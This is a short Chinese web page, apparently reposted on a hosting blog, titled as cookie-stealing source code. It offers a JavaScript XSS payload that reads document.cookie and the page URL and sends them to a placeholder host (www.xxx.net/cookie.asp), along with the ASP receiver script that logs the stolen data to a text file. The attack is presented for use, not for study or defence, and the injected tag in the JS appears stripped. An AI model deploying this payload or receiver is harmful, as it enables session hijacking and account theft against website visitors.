img.liuyifei.net img.liuyifei.net

欢迎光临
我们一直在努力
顶部
域名
云服务器48/月

asp+js 偷取Cookies源代码_安全教程_网络安全_

偷取Cookie,通过以下脚本引入一个js,document.write(""),然后js内容为:
var code;         
var target = "http://www.xxx.net/cookie.asp?";
info=escape(document.location+"@@@"+document.cookie);
target=target+info;
code="";
document.write(code);

这样就可以将cookie等信息传到我们的站点了!cookie.asp内容为:

复制代码
代码如下:

dim fso,file,str        
str=unescape(request.Servervariables("QUERY_STRING"))    
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.CreateObject("Scripting.FileSystemObject") 
path = server.mappath("xxx.txt")     
set file=fso.opentextfile(path, ForAppending, TRUE)   
file.write("Xss:")
file.write(str)        
file.write vbCrLf       
file.close
set file = nothing        
set fso = nothing
【声明】:本博客不参与任何交易,也非中介,仅记录个人感兴趣的主机测评结果和优惠活动,内容均不作直接、间接、法定、约定的保证。访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。
-六神源码网 -六神源码网